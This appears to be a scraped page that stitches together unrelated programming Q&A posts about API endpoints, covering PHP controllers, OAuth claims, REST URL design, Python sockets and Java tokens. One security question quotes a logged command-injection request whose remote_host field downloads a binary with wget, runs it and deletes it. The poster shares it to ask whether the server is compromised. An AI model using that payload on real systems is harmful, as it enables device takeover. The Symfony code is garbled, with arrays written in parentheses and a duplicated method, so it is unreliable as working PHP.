php – What is the common API endpoint architecture in backends?

Hey I always used to create some pretty messy endpoints and I decided that it’s about time to start writing cleaner code, I’ll provide an example of how would I design an endpoint and I’ll be thankful for any insights why is it good or bad practice to do it like this also I’d be more than happy if you provide your own tweaks with explanation why would you do it like that.
Scenario: user post endpoint
Pathname: /api/user
Method: POST
Controller:

class UserPostEndpoint extends AbstractController
{
    private UserPostHandlerInterface $handler;
    private SerializerInterface $serializer;

    function __construct(UserPostHandlerInterface $handler, SerializerInterface $serializer)
    {
        $this->handler = $handler;
        $this->serializer = $serializer;
    }

    public function handleRequest(Request $request): Response
    {
        try {
            $userPostRequestDTO = $this->serializer->unserialize($request->getContent(), UserPostRequestDTO::class);
            $response = $this->handler->handle($userPostRequestDTO); // <- ApiSuccessResponse(statusCode = 201)
        } catch(SerializationException $e) {
            $response = new ApiErrorResponse('Invalid request content provided', 400);
        } catch(ApiRequestContentValidationException $e) {
            $response = new ApiErrorReponse($e->getPlainMessage(), 400);
        } catch(Exception $e) {
            $response = new ApiErrorReponse('Internal server error', 500);
        } finally {
            return $response;
        }
    }
}

Handler would contain some basic things like: invoke createUser in UserFactory, persist the entity with repository.
ApiErrorReponse: message, statusCode
ApiSuccessReponse: UserPostResponseDTO, statusCode(201)
Would you add / change / remove something from the given example to make it more “correct”?
Thanks for the insights

oauth2 – Centralized authorization – via token or endpoint?

Firstly, I want to clarify the title. After spending a few weeks now tackling centralized identity I have found a lot of differing opinions and implementation of authorization (permissions). Mainly, there seems to be 2 ways I see it done

  • Store roles, and sometimes even strict permissions, in the access token (or some token associated with whatever protocol you are using). The upsides are ease of distributing this data to the client and resource, and security. The downsides are a potentially large token, and immutability of JWTs cause potentially out-of-date information.
  • Provide a centralized authorization server, or simply use endpoints on the identity server itself to serve specific authorization information, kind of like /userinfo but for authorization information. The upsides of this are up-to-date information and a clear separation of concerns. The downsides are a lot of calls to this endpoint, the fewest being one call per request as far as I can tell.

I see Auth0 allows a way to update token data on the fly (permissions, avatar, etc.) which is really convenient, however what are the downsides of using JWTs this way? I am confused as to why these protocols (OpenIdConnect, etc.) do not implement some way to force a token refresh, and thus a refresh of claims. I may be overthinking this, but what if a reference token was used, and we marked it as out-of-date? I mean, if we can mark a token as revoked then surely we can use some trick to mark it as stale? The client then would have default logic in this scenario to use its still-valid refresh token to receive a new access token. I feel like the utility of this whole system is really brought down by the fact that refreshing isn’t supported. Even if it was a separate permissions token, is this a valid idea? It just seems much more convenient than the latter.

For the second point, when using separate authorization and calling and endpoint for this info there are a few problems too. While I don’t know how PolicyServer’s paid version works, the OSS version uses this methodology. My problem with it is that the overhead of an http request is added to almost every page load, button click, etc. Using a refreshing JWT theoretically sounds like a nice way to only force a refresh when claims information is changed for a specific user only. In addition to this, basically every client and resource will need to know this claims information. While the resource itself should use authorization information, the client is still going to need to dynamically show/hide content based on this info as well. How do we easily share this information without having both the resource and client(s) request this information on every action? In PolicyServer’s demo, it’s just a bare client using authorization information from the API endpoint, there is no resource involved, probably because it was a complicated issue.

Is my idea in the first point of marking a reference token as stale practical? It would take a lot of work and would have to override existing interfaces both on the server and client. However, I just cannot see a dedicated authorization endpoint as a possibility given the concerns above. I’m still perplexed as to why none of these protocols have an easy way to refresh claims information after specific actions.

endpoint to get more read posts in a wordpress blog

I am reading Endpoint reference exposed from wordpress api but I don’t see an endpoint to get more read post(s) and popular post.

There is an endpoint to retreive all posts https://example.com/wp-json/wp/v2/post.

Is there an endpoint or query parameter(s) missing to get more read post(s) and popular post without use a wordpress plugin (wordpress beginner) ?

rest – Is it a good practice to have an endpoint URL with parameter accepting different type of values according to an indicator in the HTTP header?

Assume a resource URL in the context of REST API:

/sites/<site id or site code>/buildings/<building id or building code>

The value of the two path parameters, <site id or site code> and <building id or building code>, are as the name indicates, can be either id or code. Implicitly it means:

for instance, there is a building with 1 as building id and rake as building code, and it is located in the site with 5 as the site id and SF as the site code, then the following endpoint URL should retrieve the same result:

  • /sites/5/buildings/1
  • /sites/5/buildings/rake
  • /sites/SF/buildings/1
  • /sites/SF/buildings/rake

In order to reduce the ambiguity, there is a hint in the HTTP header, e.g. path-parameter-type with value as CODE or ID, indicating the given values of the path parameters are either code or ID.

Even though, the implementation of such resource endpoint contains lots of if conditions due to the ambiguity. However, from the end-user’s aspect, this seems to be handy

My question is whether such endpoint design is a good practice or a typical bad practice albeit the fact that there is a type indicator in the HTTP header?

rest – Is it a good practice to have an endpoint URL with parameter accepting different type of values?

To add to what Ewan has said, since HTTP already has “stringly” typed parameters, so it can be impossible to parse the parameters correctly. You should aim for precision in being able to express your intent. You will already have a lot of other factors to deal with, but you don’t want to have design ambiguity as part of it.

Ewan gives the counter-example of having both siteId: 1 and siteCode: “1”. That is bad, since you will eventually run into that, and it can become more and more complex. Avoiding that will make your life easier. And even if you don’t think you will have that problem, you must have logic to determine the intent of the client, but that is backwards– the client should determine their intent and be able to express it unambiguously to you by selecting an endpoint.

A single client will almost always pick one endpoint, so removing as many edge cases from that endpoint as possible will simplify usage for your clients as well. A client would rarely want to pass a siteId and siteCode to the same endpoint.

Function overloading in normal code works because of the type encoding of parameters, when that type information does not exist, you need to have another way of expressing it.

Documenting two separate endpoints will also be easier for your users. They will usually already know what sort of data they have access to and can pass in to you. Having a clearly separated set of two endpoints with exact specifications will allow them to find the one they are looking for and use that. It will be clearly documented and straightforward to use, instead of trying to understand the type differentiation between two.

Error[Errno 107] Transport endpoint is not connected (sockets python)


server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ip = "0.0.0.0"
port = 8888

try:
    server.bind((ip, port))
    server.listen(5)
    (conn, adress) = server.accept()

    while True:
        data = server.recv(1024)
        print data
    server.close()

except Exception as Error:
    print "Error" + str(Error)
    server.close()

Meu objetivo com o código era criar um servidor TCP na porta 8888 e fazer um minichat, quando eu executo o código ele fica esperando uma conexão, daí eu me conecto ao servidor (pela ferramenta netcat instalada no meu terminal linux, através do comando: “nc 127.0.0.1 8888”), mas no mesmo momento que tento me conectar ao servidor, aparece o seguinte erro:

Error(Errno 107) Transport endpoint is not connected

Observação: Estou usando a versão 2.7 do python

java – Se puede pasar un request http por un endpoint GET?

Quiero hacer una función que me diga si un token sigue siendo válido, pero no sé como pasarle el token desde el front al backend, y no sé si es posible pasarlo así:

@RequestMapping(value = "/renueva", method = RequestMethod.GET)
    @ResponseBody
    public Boolean refreshToken (HttpServletRequest request) throws Exception {
        String auth = request.getHeader(HttpHeaders.AUTHORIZATION);
        final JWToken token = new JWToken(auth);
        return this.horaDeRenovar(token);
        
    }

vulnerability scanners – Constant POST request spam to /cgi-bin/ViewLog.asp endpoint

I’ve got a DigitalOcean server that I use for different temporary servers. Lately I’ve found that sometimes I get a constant spam of the following requests:

POST http://127.0.0.1/cgi-bin/ViewLog.asp

Headers:
    Host: 127.0.0.1
    Connection: keep-alive
    Accept-Encoding": gzip, deflate
    Accept: */*
    User-Agent: B4ckdoor-owned-you
    Content-Length: 176
    Content-Type: application/x-www-form-urlencoded

Body:
{
    " remote_submit_Flag": "1", // Space is not a typo
    "remote_syslog_Flag": "1",
    "RemoteSyslogSupported": "1",
    "LogFlag": "0",
    "remote_host": ";cd /tmp;wget http://152.44.44.68/d/xd.arm7;chmod 777 xd.arm7;./xd.arm7;rm -rf xd.arm"
}

Which does not really bother me since I run Node.js servers only. What bothers me is the repetition of the attack and the Host header (although I believe this one can be faked).

I’ve used to run a DNS server that defaulted to Google DNS, that I left unattended for some time and it gathered 1.5TB of traffic in one month. The named -v shows version 9.11.3-1ubuntu1.12-Ubuntu.

Is the server compomised?

symfony4 – Reactivation of the symfony rest API for the fat PUT endpoint

Logic I have a solution request to request a new solution. I have an endpoint type PUT for the update solution with variable parameters that match the method
I would like to redesign this method, please.

/**
 * @Route("/{id}", name="solution_requests_update", methods={"PUT"}, defaults={"permission_needed": ROLE::PERMISSION_REQUEST_WRITE})
 * @param Request $request
 * @return JsonResponse
 */
public function update(
    string $id,
    Request $request,
    Security $security,
    StatesHandler $statesHandler
) : JsonResponse {

    $solutionRequest =  $this->em->getRepository(SolutionRequest::class)->find($id);
    $user = $security->getUser();
    if (!$solutionRequest) {
        throw new NotFoundHttpException(sprintf('this solution request not found for %s!', $id));
    }

    $scope = $this->productService->checkScope(
        $security->getUser(),
        $request->attributes->get('permission_needed')
    ) ?? '';
    // check permission
    $canEditSolutionRequest = $this->securitySolutionRequest->canEditSolutionRequest(
        $user,
        $scope,
        $solutionRequest
    );

    $data = json_decode($request->getContent(), true);

    if (!empty($data('evaluations'))) {
        $this->em->getRepository(SolutionRequestValidation::class)->update($data('evaluations'), $user);
        $solutionRequest->setListSolutionRequestValidation($solutionRequest->getListSolutionRequestValidation());
    }

    if (!empty($data('entities')) && $canEditSolutionRequest) {
        $solutionRequest = $this->em->getRepository(SolutionRequest::class)->updateEntityValues(($data('entities')), $solutionRequest);
    }

    if (!empty($data('solutions')) && $solutionRequest->getState() < SolutionRequest::EVALUATION && $canEditSolutionRequest) {
        $solutionsChecked = $this->solutionChecker->filterSolutionsExist($data('solutions'));
        $solutionRequest->setSolutionsId($solutionsChecked);
    }

    // extra parameter function
    $parametersFunction = (
        'setAppreciations' => (
            'user' => $user,
            'scope' => $scope
        )
    );
    if($canEditSolutionRequest)
        $solutionRequest = $this->mappingParameters($solutionRequest, $this->attributesMapping, $data, $parametersFunction);

    if( !$canEditSolutionRequest && $solutionRequest->getDomainManager()->getId() === $user->getId())
    {
        $solutionRequest = $this->mappingParameters($solutionRequest, ('appreciations' => 'setAppreciations'), $data, $parametersFunction);
    }

    $solutionRequest = $statesHandler->process($solutionRequest);
    $this->em->persist($solutionRequest);
    $this->em->flush();

    $solutionRequest =  $this->em->getRepository(SolutionRequest::class)->find($id);

    return JsonResponse::fromJsonString(
        $this->serializer->serialize(
            $solutionRequest,
            ('solution_request')
        ),
        Response::HTTP_OK
    );
}

Automatic assignment method in the controller

 /**
 * Automatic mapping
 *
 * @param SolutionRequest $solutionRequest
 * @param array $attributesMapping
 * @param array $data
 * @return SolutionRequest
 */
private function mappingParameters(
    SolutionRequest $solutionRequest,
    array $attributesMapping,
    ?array $data, 
    array $parametersFunction = ()
) : SolutionRequest
{
    if (empty($data)) {
        return $solutionRequest;
    }

    foreach ($data as $key => $value) {
        if (array_key_exists($key, $attributesMapping)) {
            $nameFunction = $attributesMapping($key);
            // inject extra prameters for this function
            if (array_key_exists($nameFunction, $parametersFunction)) {
                $solutionRequest->$nameFunction($value, $parametersFunction($nameFunction));
                continue;
            }
            $solutionRequest->$nameFunction($value);
        }
    }

    return $solutionRequest;
}

My parameters and method of updating

Method for automatic mapping in controller

 /**
 * Automatic mapping
 *
 * @param SolutionRequest $solutionRequest
 * @param array $attributesMapping
 * @param array $data
 * @return SolutionRequest
 */
private function mappingParameters(
    SolutionRequest $solutionRequest,
    array $attributesMapping,
    ?array $data, 
    array $parametersFunction = ()
) : SolutionRequest
{
    if (empty($data)) {
        return $solutionRequest;
    }

    foreach ($data as $key => $value) {
        if (array_key_exists($key, $attributesMapping)) {
            $nameFunction = $attributesMapping($key);
            // inject extra prameters for this function
            if (array_key_exists($nameFunction, $parametersFunction)) {
                $solutionRequest->$nameFunction($value, $parametersFunction($nameFunction));
                continue;
            }
            $solutionRequest->$nameFunction($value);
        }
    }

    return $solutionRequest;
}

My parameters and method of updating

   private $attributesMapping = (
    'appreciations' => 'setAppreciations',
    'softwareSearchInfo' => 'setSoftwareSearchInfo',
    'softwareNeedsInfo' => 'setSoftwareNeedsInfo',
    'intendedUsers' => 'setIntendedUsers',
    'intendedROI' => 'setIntendedROI',
    'impactLever' => 'setImpactLever',
    'costEstimation' => 'setCostEstimation',
    'costDriver' => 'setCostDriver',
    'furtherInfo' => 'setFurtherInfo'
);

How can I redesign this for better code? Thanks a lot